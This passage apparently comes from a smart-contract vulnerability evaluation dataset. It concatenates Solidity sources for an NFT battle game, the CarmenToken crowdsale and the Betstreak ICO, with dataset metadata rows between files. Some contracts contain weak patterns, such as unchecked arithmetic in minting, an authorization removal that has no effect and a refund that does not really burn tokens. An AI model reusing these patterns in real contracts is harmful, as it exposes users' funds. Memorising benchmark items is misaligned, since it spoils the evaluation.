return availableWithdrawal / 1000000 * rewardPercentage;
}else{
return uint(0);
}
}
function setChampEC(address _address) public onlyOwner {
champsEC = EC(_address);
}
function setItemsEC(address _address) public onlyOwner {
itemsEC = EC(_address);
}
function changeChampsName(uint _champId, string _name, address _msgsender) external
onlyApprovedOrOwnerOfToken(_champId, _msgsender, true)
onlyCore
{
core.setChampsName(_champId, _name);
}
function withdrawChamp(uint _id, address _msgsender) external
onlyApprovedOrOwnerOfToken(_id, _msgsender, true)
contractMinBalanceReached
onlyCore
{
Champ memory champ = _getChamp(_id);
require(champ.position <= 800);
require(champ.withdrawCooldown < block.timestamp); //isChampWithdrawReady
champ.withdrawCooldown = block.timestamp + 1 days; //one withdrawal 1 per day
_updateChamp(champ); //update core storage
core.addWithdrawal(_msgsender, getChampReward(champ.position));
}
function _attackCompleted(Champ memory _winnerChamp, Champ memory _defeatedChamp, uint _pointsGiven) private
{
_winnerChamp.attackPower += _pointsGiven; //increase attack power
_winnerChamp.defencePower += _pointsGiven; //max point that was given - already given to AP
_defeatedChamp.attackPower = (_defeatedChamp.attackPower <= _pointsGiven + 2) ? 2 : _defeatedChamp.attackPower - _pointsGiven; //Subtracts ability points. Helps to not cross minimal attack ability points -> 2
_defeatedChamp.defencePower = (_defeatedChamp.defencePower <= _pointsGiven) ? 1 : _defeatedChamp.defencePower - _pointsGiven; //Subtracts ability points. Helps to not cross minimal defence ability points -> 1
_winnerChamp.winCount++;
_defeatedChamp.lossCount++;
if(_winnerChamp.position > _defeatedChamp.position) { //require loser to has better (lower) postion than attacker
uint winnerPosition = _winnerChamp.position;
uint loserPosition = _defeatedChamp.position;
_defeatedChamp.position = winnerPosition;
_winnerChamp.position = loserPosition;
}
_updateChamp(_winnerChamp);
_updateChamp(_defeatedChamp);
}
function attack(uint _champId, uint _targetId, address _msgsender) external
onlyApprovedOrOwnerOfToken(_champId, _msgsender, true)
onlyCore
{
Champ memory myChamp = _getChamp(_champId);
Champ memory enemyChamp = _getChamp(_targetId);
require (myChamp.readyTime <= block.timestamp); /// Is champ ready to fight again?
require(_champId != _targetId); /// Prevents from self-attack
require(core.tokenToOwner(true, _targetId) != address(0)); /// Checks if champ does exist
uint pointsGiven; //total points that will be divided between AP and DP
uint myChampAttackPower;
uint enemyChampDefencePower;
uint myChampCooldownReduction;
(myChampAttackPower,,myChampCooldownReduction) = core.getChampStats(_champId);
(,enemyChampDefencePower,) = core.getChampStats(_targetId);
if (myChampAttackPower > enemyChampDefencePower) {
if(myChampAttackPower - enemyChampDefencePower < 5){
pointsGiven = 6; //big experience - 6 ability points
}else if(myChampAttackPower - enemyChampDefencePower < 10){
pointsGiven = 4; //medium experience - 4 ability points
}else{
pointsGiven = 2; //small experience - 2 ability point to random ability (attack power or defence power)
}
_attackCompleted(myChamp, enemyChamp, pointsGiven/2);
} else {
pointsGiven = 2;
_attackCompleted(enemyChamp, myChamp, pointsGiven/2);
}
myChamp.readyTime = uint(block.timestamp + myChamp.cooldownTime - myChampCooldownReduction);
_updateChamp(myChamp);
}
function _cancelChampSale(Champ memory _champ) private
{
_champ.forSale = false;
_updateChamp(_champ);
}
function _transferChamp(address _from, address _to, uint _champId) private onlyCore
{
Champ memory champ = _getChamp(_champId);
if(champ.forSale){
_cancelChampSale(champ);
}
core.clearTokenApproval(_from, _champId, true);
(,uint toChampsCount,,) = core.addressInfo(_to);
(,uint fromChampsCount,,) = core.addressInfo(_from);
core.updateAddressInfo(_to,0,false,toChampsCount + 1,true,0,false,"",false);
core.updateAddressInfo(_from,0,false,fromChampsCount - 1,true,0,false,"",false);
core.setTokenToOwner(_champId, _to, true);
champsEC.emitTransfer(_from,_to,_champId);
if(champ.eq_sword != 0) { _transferItem(_from, _to, champ.eq_sword); }
if(champ.eq_shield != 0) { _transferItem(_from, _to, champ.eq_shield); }
if(champ.eq_helmet != 0) { _transferItem(_from, _to, champ.eq_helmet); }
}
function transferToken(address _from, address _to, uint _id, bool _isTokenChamp) external
onlyCore{
if(_isTokenChamp){
_transferChamp(_from, _to, _id);
}else{
_transferItem(_from, _to, _id);
}
}
function cancelTokenSale(uint _id, address _msgsender, bool _isTokenChamp) public
onlyApprovedOrOwnerOfToken(_id, _msgsender, _isTokenChamp)
onlyCore
{
if(_isTokenChamp){
Champ memory champ = _getChamp(_id);
require(champ.forSale); //champIsForSale
_cancelChampSale(champ);
}else{
Item memory item = _getItem(_id);
require(item.forSale);
_cancelItemSale(item);
}
}
function giveToken(address _to, uint _id, address _msgsender, bool _isTokenChamp) external
onlyApprovedOrOwnerOfToken(_id, _msgsender, _isTokenChamp)
onlyCore
{
if(_isTokenChamp){
_transferChamp(core.tokenToOwner(true,_id), _to, _id);
}else{
_transferItem(core.tokenToOwner(false,_id), _to, _id);
}
}
function setTokenForSale(uint _id, uint _price, address _msgsender, bool _isTokenChamp) external
onlyApprovedOrOwnerOfToken(_id, _msgsender, _isTokenChamp)
onlyCore
{
if(_isTokenChamp){
Champ memory champ = _getChamp(_id);
require(champ.forSale == false); //champIsNotForSale
champ.forSale = true;
champ.price = _price;
_updateChamp(champ);
}else{
Item memory item = _getItem(_id);
require(item.forSale == false);
item.forSale = true;
item.price = _price;
_updateItem(item);
}
}
function _updateChamp(Champ memory champ) private
{
core.updateChamp(champ.id, champ.attackPower, champ.defencePower, champ.cooldownTime, champ.readyTime, champ.winCount, champ.lossCount, champ.position, champ.price, champ.withdrawCooldown, champ.eq_sword, champ.eq_shield, champ.eq_helmet, champ.forSale);
}
function _updateItem(Item memory item) private
{
core.updateItem(item.id, item.itemType, item.itemRarity, item.attackPower, item.defencePower, item.cooldownReduction,item.price, item.onChampId, item.onChamp, item.forSale);
}
function _getChamp(uint _champId) private view returns (Champ)
{
Champ memory champ;
(champ.id, champ.attackPower, champ.defencePower, champ.cooldownTime, champ.readyTime, champ.winCount, champ.lossCount, champ.position,,,,,,) = core.champs(_champId);
(,,,,,,,,champ.price, champ.withdrawCooldown, champ.eq_sword, champ.eq_shield, champ.eq_helmet, champ.forSale) = core.champs(_champId);
return champ;
}
function _getItem(uint _itemId) private view returns (Item)
{
Item memory item;
(item.id, item.itemType, item.itemRarity, item.attackPower, item.defencePower, item.cooldownReduction,,,,) = core.items(_itemId);
(,,,,,,item.price, item.onChampId, item.onChamp, item.forSale) = core.items(_itemId);
return item;
}
function getTokenURIs(uint _id, bool _isTokenChamp) public pure returns(string)
{
if(_isTokenChamp){
return strConcat('https://mccapi.patrikmojzis.com/champ.php?id=', uint2str(_id));
}else{
return strConcat('https://mccapi.patrikmojzis.com/item.php?id=', uint2str(_id));
}
}
function _takeOffItem(uint _champId, uint8 _type) private
{
uint itemId;
Champ memory champ = _getChamp(_champId);
if(_type == 1){
itemId = champ.eq_sword; //Get item ID
if (itemId > 0) { //0 = nothing
champ.eq_sword = 0; //take off sword
}
}
if(_type == 2){
itemId = champ.eq_shield; //Get item ID
if(itemId > 0) {//0 = nothing
champ.eq_shield = 0; //take off shield
}
}
if(_type == 3){
itemId = champ.eq_helmet; //Get item ID
if(itemId > 0) { //0 = nothing
champ.eq_helmet = 0; //take off
}
}
if(itemId > 0){
Item memory item = _getItem(itemId);
item.onChamp = false;
_updateItem(item);
}
}
function takeOffItem(uint _champId, uint8 _type, address _msgsender) public
onlyApprovedOrOwnerOfToken(_champId, _msgsender, true)
onlyCore
{
_takeOffItem(_champId, _type);
}
function putOn(uint _champId, uint _itemId, address _msgsender) external
onlyApprovedOrOwnerOfToken(_champId, _msgsender, true)
onlyApprovedOrOwnerOfToken(_itemId, _msgsender, false)
onlyCore
{
Champ memory champ = _getChamp(_champId);
Item memory item = _getItem(_itemId);
if(item.onChamp){
_takeOffItem(item.onChampId, item.itemType); //take off from champ
}
item.onChamp = true; //item is on champ
item.onChampId = _champId; //champ's id
if(item.itemType == 1){
if(champ.eq_sword > 0){
_takeOffItem(champ.id, 1);
}
champ.eq_sword = _itemId; //put on sword
}
if(item.itemType == 2){
if(champ.eq_shield > 0){
_takeOffItem(champ.id, 2);
}
champ.eq_shield = _itemId; //put on shield
}
if(item.itemType == 3){
if(champ.eq_helmet > 0){
_takeOffItem(champ.id, 3);
}
champ.eq_helmet = _itemId; //put on helmet
}
_updateChamp(champ);
_updateItem(item);
}
function _cancelItemSale(Item memory item) private {
item.forSale = false;
_updateItem(item);
}
function _transferItem(address _from, address _to, uint _itemID) private
{
Item memory item = _getItem(_itemID);
if(item.forSale){
_cancelItemSale(item);
}
if(item.onChamp && _to != core.tokenToOwner(true, item.onChampId)){
_takeOffItem(item.onChampId, item.itemType);
}
core.clearTokenApproval(_from, _itemID, false);
(,,uint toItemsCount,) = core.addressInfo(_to);
(,,uint fromItemsCount,) = core.addressInfo(_from);
core.updateAddressInfo(_to,0,false,0,false,toItemsCount + 1,true,"",false);
core.updateAddressInfo(_from,0,false,0,false,fromItemsCount - 1,true,"",false);
core.setTokenToOwner(_itemID, _to,false);
itemsEC.emitTransfer(_from,_to,_itemID);
}
function forgeItems(uint _parentItemID, uint _childItemID, address _msgsender) external
onlyApprovedOrOwnerOfToken(_parentItemID, _msgsender, false)
onlyApprovedOrOwnerOfToken(_childItemID, _msgsender, false)
onlyCore
{
require(_parentItemID != _childItemID);
Item memory parentItem = _getItem(_parentItemID);
Item memory childItem = _getItem(_childItemID);
if(parentItem.forSale){
_cancelItemSale(parentItem);
}
if(childItem.forSale){
_cancelItemSale(childItem);
}
if(childItem.onChamp){
_takeOffItem(childItem.onChampId, childItem.itemType);
}
parentItem.attackPower = (parentItem.attackPower > childItem.attackPower) ? parentItem.attackPower : childItem.attackPower;
parentItem.defencePower = (parentItem.defencePower > childItem.defencePower) ? parentItem.defencePower : childItem.defencePower;
parentItem.cooldownReduction = (parentItem.cooldownReduction > childItem.cooldownReduction) ? parentItem.cooldownReduction : childItem.cooldownReduction;
parentItem.itemRarity = uint8(6);
_updateItem(parentItem);
_transferItem(core.tokenToOwner(false,_childItemID), address(0), _childItemID);
}
}
| 274,973 | 12,058 |
56679c20cf487682683b25d6249d0ac8e205ad223ecbd0bacfeeed38f8c64bbd
| 14,280 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xbdcb58cb5e1df2776df682a52b19d3eec0ca8285.sol
| 2,865 | 11,921 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract Authorizable is owned {
struct Authoriz{
uint index;
address account;
}
mapping(address => bool) public authorized;
mapping(address => Authoriz) public authorizs;
address[] public authorizedAccts;
modifier onlyAuthorized() {
if(authorizedAccts.length >0)
{
require(authorized[msg.sender] == true || owner == msg.sender);
_;
}else{
require(owner == msg.sender);
_;
}
}
function addAuthorized(address _toAdd)
onlyOwner
public
{
require(_toAdd != 0);
require(!isAuthorizedAccount(_toAdd));
authorized[_toAdd] = true;
Authoriz storage authoriz = authorizs[_toAdd];
authoriz.account = _toAdd;
authoriz.index = authorizedAccts.push(_toAdd) -1;
}
function removeAuthorized(address _toRemove)
onlyOwner
public
{
require(_toRemove != 0);
require(_toRemove != msg.sender);
authorized[_toRemove] = false;
}
function isAuthorizedAccount(address account)
public
constant
returns(bool isIndeed)
{
if(account == owner) return true;
if(authorizedAccts.length == 0) return false;
return (authorizedAccts[authorizs[account].index] == account);
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
constructor(uint256 initialSupply,
string tokenName,
string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract CarmenToken is Authorizable, TokenERC20 {
using SafeMath for uint256;
/// Maximum tokens to be allocated on the sale
uint256 public tokenSaleHardCap;
/// Base exchange rate is set to 1 ETH = XCR.
uint256 public baseRate;
/// no tokens can be ever issued when this is set to "true"
bool public tokenSaleClosed = false;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
modifier inProgress {
require(totalSupply < tokenSaleHardCap
&& !tokenSaleClosed);
_;
}
modifier beforeEnd {
require(!tokenSaleClosed);
_;
}
constructor(uint256 initialSupply,
string tokenName,
string tokenSymbol) TokenERC20(initialSupply, tokenName, tokenSymbol) public {
tokenSaleHardCap = 121000000 * 10**uint256(decimals); // Default Crowsale Hard Cap amount with decimals
baseRate = 100 * 10**uint256(decimals); // Default base rate XCR :1 eth amount with decimals
}
/// @dev This default function allows token to be purchased by directly
/// sending ether to this smart contract.
function () public payable {
purchaseTokens(msg.sender);
}
/// @dev Issue token based on Ether received.
/// @param _beneficiary Address that newly issued token will be sent to.
function purchaseTokens(address _beneficiary) public payable inProgress{
// only accept a minimum amount of ETH?
require(msg.value >= 0.01 ether);
uint _tokens = computeTokenAmount(msg.value);
doIssueTokens(_beneficiary, _tokens);
/// forward the raised funds to the contract creator
owner.transfer(address(this).balance);
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyAuthorized public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyAuthorized public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newRatePrice` eth
/// @param newRate Price the users can sell to the contract
function setRatePrices(uint256 newRate) onlyAuthorized public {
baseRate = newRate;
}
/// @notice Allow users to buy tokens for `newTokenSaleHardCap` XCR
/// @param newTokenSaleHardCap Amount of XCR token sale hard cap
function setTokenSaleHardCap(uint256 newTokenSaleHardCap) onlyAuthorized public {
tokenSaleHardCap = newTokenSaleHardCap;
}
function doIssueTokens(address _beneficiary, uint256 _tokens) internal {
require(_beneficiary != address(0));
balanceOf[_beneficiary] += _tokens;
totalSupply += _tokens;
emit Transfer(0, this, _tokens);
emit Transfer(this, _beneficiary, _tokens);
}
/// @dev Compute the amount of XCR token that can be purchased.
/// @param ethAmount Amount of Ether in WEI to purchase XCR.
/// @return Amount of XCR token to purchase
function computeTokenAmount(uint256 ethAmount) internal view returns (uint256) {
uint256 tokens = ethAmount.mul(baseRate) / 10**uint256(decimals);
return tokens;
}
/// @notice collect ether to owner account
function collect() external onlyAuthorized {
owner.transfer(address(this).balance);
}
/// @notice getBalance ether
function getBalance() public view onlyAuthorized returns (uint) {
return address(this).balance;
}
/// @dev Closes the sale, issues the team tokens and burns the unsold
function close() public onlyAuthorized beforeEnd {
tokenSaleClosed = true;
/// forward the raised funds to the contract creator
owner.transfer(address(this).balance);
}
/// @dev Open the sale status
function openSale() public onlyAuthorized{
tokenSaleClosed = false;
}
}
| 206,267 | 12,059 |
5ce6c909f1f1df53c7b5ebe557bb7822df320d50307c9a28869c5daba6f09ba7
| 13,123 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0x69a5b8f0a12269f3af7eb57278d78414a1a9eeb4.sol
| 3,549 | 12,302 |
pragma solidity ^0.4.11;
// **-----------------------------------------------
// Betstreak Token sale contract
// Revision 1.1
// Refunds integrated, full test suite passed
// **-----------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/issues/20
// -------------------------------------------------
// ICO configuration:
// Presale Bonus +30% = 1,300 BST = 1 ETH [blocks: start -> s+25200]
// First Week Bonus +20% = 1,200 BST = 1 ETH [blocks: s+3601 -> s+50400]
// Second Week Bonus +10% = 1,100 BST = 1 ETH [blocks: s+25201 -> s+75600]
// Third Week Bonus +5% = 1,050 BST = 1 ETH [blocks: s+50401 -> s+100800]
// Final Week +0% = 1,000 BST = 1 ETH [blocks: s+75601 -> end]
// -------------------------------------------------
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract safeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
safeAssert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
safeAssert(b > 0);
uint256 c = a / b;
safeAssert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
safeAssert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
safeAssert(c>=a && c>=b);
return c;
}
function safeAssert(bool assertion) internal {
if (!assertion) revert();
}
}
contract StandardToken is owned, safeMath {
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BetstreakICO is owned, safeMath {
// owner/admin & token reward
address public admin = owner; // admin address
StandardToken public tokenReward; // address of the token used as reward
// deployment variables for static supply sale
uint256 public initialSupply;
uint256 public tokensRemaining;
// multi-sig addresses and price variable
address public beneficiaryWallet;
uint256 public tokensPerEthPrice; // set initial value floating priceVar 1,300 tokens per Eth
// uint256 values for min,max,caps,tracking
uint256 public amountRaisedInWei; //
uint256 public fundingMinCapInWei; //
// loop control, ICO startup and limiters
string public CurrentStatus = ""; // current crowdsale status
uint256 public fundingStartBlock; // crowdsale start block#
uint256 public fundingEndBlock; // crowdsale end block#
bool public isCrowdSaleClosed = false; // crowdsale completion boolean
bool public areFundsReleasedToBeneficiary = false; // boolean for founders to receive Eth or not
bool public isCrowdSaleSetup = false; // boolean for crowdsale setup
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Buy(address indexed _sender, uint256 _eth, uint256 _BST);
event Refund(address indexed _refunder, uint256 _value);
event Burn(address _from, uint256 _value);
mapping(address => uint256) balancesArray;
mapping(address => uint256) fundValue;
// default function, map admin
function BetstreakICO() onlyOwner {
admin = msg.sender;
CurrentStatus = "Crowdsale deployed to chain";
}
// total number of tokens initially
function initialBSTSupply() constant returns (uint256 tokenTotalSupply) {
tokenTotalSupply = safeDiv(initialSupply,100);
}
// remaining number of tokens
function remainingSupply() constant returns (uint256 tokensLeft) {
tokensLeft = tokensRemaining;
}
// setup the CrowdSale parameters
function SetupCrowdsale(uint256 _fundingStartBlock, uint256 _fundingEndBlock) onlyOwner returns (bytes32 response) {
if ((msg.sender == admin)
&& (!(isCrowdSaleSetup))
&& (!(beneficiaryWallet > 0))){
// init addresses
tokenReward = StandardToken(0xA7F40CCD6833a65dD514088F4d419Afd9F0B0B52);
beneficiaryWallet = 0x361e14cC5b3CfBa5D197D8a9F02caf71B3dca6Fd;
tokensPerEthPrice = 1300;
// set day1 initial value floating priceVar 1,300 tokens per Eth
// funding targets
fundingMinCapInWei = 1000000000000000000000;
//300000000000000000000 = 1000 Eth (min cap) - crowdsale is considered success after this value
//testnet 5000000000000000000 = 5Eth
// update values
amountRaisedInWei = 0;
initialSupply = 20000000000;
// 200,000,000 + 2 decimals = 200,000,000,00
//testnet 1100000 = 11,000
tokensRemaining = safeDiv(initialSupply,100);
fundingStartBlock = _fundingStartBlock;
fundingEndBlock = _fundingEndBlock;
// configure crowdsale
isCrowdSaleSetup = true;
isCrowdSaleClosed = false;
CurrentStatus = "Crowdsale is setup";
//gas reduction experiment
setPrice();
return "Crowdsale is setup";
} else if (msg.sender != admin) {
return "not authorized";
} else {
return "campaign cannot be changed";
}
}
function SetupPreSale(bool _isCrowdSaleSetup) onlyOwner returns (bytes32 response) {
if ((msg.sender == admin))
{
isCrowdSaleSetup = _isCrowdSaleSetup;
return "Executed.";
}
}
function setPrice() {
// ICO configuration:
// Presale Bonus +30% = 1,300 BST = 1 ETH [blocks: start -> s+25200]
// First Week Bonus +20% = 1,200 BST = 1 ETH [blocks: s+25201 -> s+50400]
// Second Week Bonus +10% = 1,100 BST = 1 ETH [blocks: s+50401 -> s+75600]
// Third Week Bonus +5% = 1,050 BST = 1 ETH [blocks: s+75601 -> s+100800]
// Final Week +0% = 1,000 BST = 1 ETH [blocks: s+100801 -> end]
if (block.number >= fundingStartBlock && block.number <= fundingStartBlock+25200) {
// Presale Bonus +30% = 1,300 BST = 1 ETH [blocks: start -> s+25200]
tokensPerEthPrice=1300;
} else if (block.number >= fundingStartBlock+25201 && block.number <= fundingStartBlock+50400) {
// First Week Bonus +20% = 1,200 BST = 1 ETH [blocks: s+25201 -> s+50400]
tokensPerEthPrice=1200;
} else if (block.number >= fundingStartBlock+50401 && block.number <= fundingStartBlock+75600) {
// Second Week Bonus +10% = 1,100 BST = 1 ETH [blocks: s+50401 -> s+75600]
tokensPerEthPrice=1100;
} else if (block.number >= fundingStartBlock+75601 && block.number <= fundingStartBlock+100800) {
// Third Week Bonus +5% = 1,050 BST = 1 ETH [blocks: s+75601 -> s+100800]
tokensPerEthPrice=1050;
} else if (block.number >= fundingStartBlock+100801 && block.number <= fundingEndBlock) {
// Final Week +0% = 1,000 BST = 1 ETH [blocks: s+100801 -> end]
tokensPerEthPrice=1000;
}
}
// default payable function when sending ether to this contract
function () payable {
require(msg.data.length == 0);
BuyBSTtokens();
}
function BuyBSTtokens() payable {
// 0. conditions (length, crowdsale setup, zero check,
require(!(msg.value == 0)
&& (isCrowdSaleSetup)
&& (block.number >= fundingStartBlock)
&& (block.number <= fundingEndBlock)
&& (tokensRemaining > 0));
// 1. vars
uint256 rewardTransferAmount = 0;
// 2. effects
setPrice();
amountRaisedInWei = safeAdd(amountRaisedInWei,msg.value);
rewardTransferAmount = safeDiv(safeMul(msg.value,tokensPerEthPrice),10000000000000000);
// 3. interaction
tokensRemaining = safeSub(tokensRemaining, safeDiv(rewardTransferAmount,100));
tokenReward.transfer(msg.sender, rewardTransferAmount);
// 4. events
fundValue[msg.sender] = safeAdd(fundValue[msg.sender], msg.value);
Transfer(this, msg.sender, msg.value);
Buy(msg.sender, msg.value, rewardTransferAmount);
}
function beneficiaryMultiSigWithdraw(uint256 _amount) onlyOwner {
require(areFundsReleasedToBeneficiary && (amountRaisedInWei >= fundingMinCapInWei));
beneficiaryWallet.transfer(_amount);
}
function checkGoalReached() onlyOwner returns (bytes32 response) {
// return crowdfund status to owner for each result case, update public constant
// update state & status variables
require (isCrowdSaleSetup);
if ((amountRaisedInWei < fundingMinCapInWei) && (block.number <= fundingEndBlock && block.number >= fundingStartBlock)) {
// ICO in progress, under softcap
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
CurrentStatus = "In progress (Eth < Softcap)";
return "In progress (Eth < Softcap)";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number < fundingStartBlock)) { // ICO has not started
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
CurrentStatus = "Presale is setup";
return "Presale is setup";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number > fundingEndBlock)) { // ICO ended, under softcap
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = true;
CurrentStatus = "Unsuccessful (Eth < Softcap)";
return "Unsuccessful (Eth < Softcap)";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining == 0)) { // ICO ended, all tokens gone
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
CurrentStatus = "Successful (BST >= Hardcap)!";
return "Successful (BST >= Hardcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (block.number > fundingEndBlock) && (tokensRemaining > 0)) {
// ICO ended, over softcap!
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
CurrentStatus = "Successful (Eth >= Softcap)!";
return "Successful (Eth >= Softcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining > 0) && (block.number <= fundingEndBlock)) {
// ICO in progress, over softcap!
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = false;
CurrentStatus = "In progress (Eth >= Softcap)!";
return "In progress (Eth >= Softcap)!";
}
setPrice();
}
function refund() {
// any contributor can call this to have their Eth returned.
// user's purchased BST tokens are burned prior refund of Eth.
//require minCap not reached
require ((amountRaisedInWei < fundingMinCapInWei)
&& (isCrowdSaleClosed)
&& (block.number > fundingEndBlock)
&& (fundValue[msg.sender] > 0));
//burn user's token BST token balance, refund Eth sent
uint256 ethRefund = fundValue[msg.sender];
balancesArray[msg.sender] = 0;
fundValue[msg.sender] = 0;
Burn(msg.sender, ethRefund);
//send Eth back, burn tokens
msg.sender.transfer(ethRefund);
Refund(msg.sender, ethRefund);
}
}
| 222,480 | 12,060 |
c8c03a7bdbddd791583651f3032f90739d4a481795e4a0a9ec03cef837ac8625
| 30,540 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xbDb8cF1FeBb097C46429B446447c9BA783E7f672/contract.sol
| 4,893 | 19,501 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
